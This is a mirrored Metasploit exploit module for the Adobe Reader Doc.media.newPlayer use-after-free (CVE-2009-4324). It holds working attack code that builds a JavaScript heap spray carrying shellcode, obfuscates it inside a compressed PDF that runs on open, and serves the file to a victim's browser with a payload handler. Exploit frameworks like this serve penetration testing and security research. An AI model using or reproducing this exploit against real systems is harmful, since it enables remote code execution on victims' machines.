CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_media_newplayer.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
16
'Description' => %q{
17
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
18
Professional versions up to and including 9.2.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'unknown', # Found in the wild
24
# Metasploit version by:
25
'hdm',
26
'pusscat',
27
'jduck',
28
'jabra'
29
],
30
'References' =>
31
[
32
[ 'CVE', '2009-4324' ],
33
[ 'BID', '37331' ],
34
[ 'OSVDB', '60980' ],
35
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
36
],
37
'DefaultOptions' =>
38
{
39
'EXITFUNC' => 'process',
40
},
41
'Payload' =>
42
{
43
'Space' => 1024,
44
'BadChars' => "\x00",
45
'DisableNops' => true
46
},
47
'Platform' => 'win',
48
'Targets' =>
49
[
50
# test results (on Windows XP SP3)
51
# reader 6.0.1 - vulnerable / doesn't work
52
# reader 7.0.5 - untested
53
# reader 7.0.8 - untested
54
# reader 7.0.9 - vulnerable / doesn't work
55
# reader 7.1.0 - untested
56
# reader 7.1.1 - untested
57
# reader 8.0.0 - untested
58
# reader 8.1.1 - works
59
# reader 8.1.2 - untested
60
# reader 8.1.3 - untested
61
# reader 8.1.4 - untested
62
# reader 8.1.5 - untested
63
# reader 8.1.6 - untested
64
# reader 9.0.0 - untested
65
# reader 9.1.0 - works
66
# reader 9.2 - works (no debugger, no DEP)
67
[ 'Adobe Reader Windows English (JS Heap Spray)',
68
{
69
'Size' => (0x10000/2),
70
'Ret' => 0x0c0c0c0c
71
}
72
],
73
[ 'Adobe Reader Windows German (JS Heap Spray)',
74
{
75
'Size' => (0x10000/2),
76
'Ret' => 0x0a0a0a0a
77
}
78
],
79
],
80
'DisclosureDate' => '2009-12-14',
81
'DefaultTarget' => 0))
82
end
83
84
85
def autofilter
86
false
87
end
88
89
def check_dependencies
90
use_zlib
91
end
92
93
def on_request_uri(cli, request)
94
95
# Encode the shellcode.
96
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
97
98
# Make some nops
99
nops = Rex::Text.to_unescape([target.ret].pack('V'))
100
101
# Randomize variables
102
#
103
len = 72
104
rand1 = rand_text_alpha(rand(100) + 1)
105
rand2 = rand_text_alpha(rand(100) + 1)
106
rand3 = rand_text_alpha(rand(100) + 1)
107
rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
108
rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
109
randnop = rand_text_alpha(rand(100) + 1)
110
111
vtbuf = [target.ret].pack('V') * 4
112
vtbuf << rand_text_alpha(len - vtbuf.length)
113
vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
114
retstring = Rex::Text.to_unescape(vtbuf)
115
116
# The printd strings are 72 bytes (??)
117
script = %Q|
118
var #{randnop} = "#{nops}";
119
var #{rand1} = unescape("#{shellcode}");
120
var #{rand2} = unescape(#{randnop});
121
var #{rand3} = unescape("#{retstring}");
122
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
123
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
124
memory=new Array();
125
for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; }
126
util.printd("#{rand4}", new Date());
127
util.printd("#{rand5}", new Date());
128
try {this.media.newPlayer(null);} catch(e) {}
129
util.printd(#{rand3}, new Date());
130
|
131
# Create the pdf
132
pdf = make_pdf(script)
133
134
print_status("Sending #{self.name}")
135
136
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
137
138
handler(cli)
139
140
end
141
142
def random_non_ascii_string(count)
143
result = ""
144
count.times do
145
result << (rand(128) + 128).chr
146
end
147
result
148
end
149
150
def io_def(id)
151
"%d 0 obj" % id
152
end
153
154
def io_ref(id)
155
"%d 0 R" % id
156
end
157
158
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
159
def n_obfu(str)
160
result = ""
161
str.scan(/./u) do |c|
162
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
163
result << "#%x" % c.unpack("C*")[0]
164
else
165
result << c
166
end
167
end
168
result
169
end
170
171
def ascii_hex_whitespace_encode(str)
172
result = ""
173
whitespace = ""
174
str.each_byte do |b|
175
result << whitespace << "%02x" % b
176
whitespace = " " * (rand(3) + 1)
177
end
178
result << ">"
179
end
180
181
def make_pdf(js)
182
183
xref = []
184
eol = "\x0d\x0a"
185
endobj = "endobj" << eol
186
187
188
pdf = "%PDF-1.5" << eol
189
pdf << "%" << random_non_ascii_string(4) << eol
190
xref << pdf.length
191
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
192
xref << pdf.length
193
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
194
xref << pdf.length
195
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
196
xref << pdf.length
197
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
198
xref << pdf.length
199
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
200
xref << pdf.length
201
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
202
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
203
pdf << "stream" << eol
204
pdf << compressed << eol
205
pdf << "endstream" << eol
206
pdf << endobj
207
xrefPosition = pdf.length
208
pdf << "xref" << eol
209
pdf << "0 %d" % (xref.length + 1) << eol
210
pdf << "0000000000 65535 f" << eol
211
xref.each do |index|
212
pdf << "%010d 00000 n" % index << eol
213
end
214
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
215
pdf << "startxref" << eol
216
pdf << xrefPosition.to_s() << eol
217
pdf << "%%EOF" << eol
218
219
end
220
end
221
222